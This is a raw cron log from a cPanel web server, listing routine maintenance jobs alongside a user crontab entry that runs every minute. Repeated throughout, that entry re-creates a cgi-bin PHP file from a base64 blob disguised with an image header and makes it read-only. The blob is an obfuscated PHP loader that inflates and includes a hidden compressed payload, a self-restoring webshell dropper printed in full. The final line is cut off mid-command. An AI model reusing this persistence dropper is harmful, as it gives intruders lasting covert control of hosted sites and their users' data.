Sep  9 18:50:01 server CROND[16691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:50:01 server CROND[16696]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:50:01 server CROND[16695]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 18:50:01 server CROND[16699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:50:01 server CROND[16698]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:50:01 server CROND[16694]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:50:02 server CROND[16703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:51:01 server CROND[17529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:51:01 server CROND[17530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:51:01 server CROND[17531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:52:01 server CROND[17916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:52:01 server CROND[17917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:52:01 server CROND[17918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:53:01 server CROND[18295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:53:01 server CROND[18296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:53:01 server CROND[18297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:54:01 server CROND[18776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:54:01 server CROND[18777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:54:01 server CROND[18778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:55:01 server CROND[19160]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 18:55:01 server CROND[19163]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:55:01 server CROND[19169]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:55:01 server CROND[19165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:55:01 server CROND[19167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:55:01 server CROND[19168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:55:01 server CROND[19170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:56:01 server CROND[20044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:56:01 server CROND[20045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:56:01 server CROND[20046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:57:01 server CROND[20437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:57:01 server CROND[20438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:57:01 server CROND[20440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:57:01 server CROND[20439]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 18:58:01 server CROND[20828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:58:01 server CROND[20829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:58:01 server CROND[20831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:59:01 server CROND[21312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:59:01 server CROND[21311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:59:01 server CROND[21339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:00:02 server CROND[21765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:00:02 server CROND[21766]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:00:02 server CROND[21773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:00:02 server CROND[21770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 19:00:02 server CROND[21775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:00:02 server CROND[21777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:00:02 server CROND[21771]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 19:00:02 server CROND[21774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:00:02 server CROND[21776]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 19:01:01 server CROND[22614]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 19:01:01 server CROND[22613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 19:01:01 server CROND[22612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > 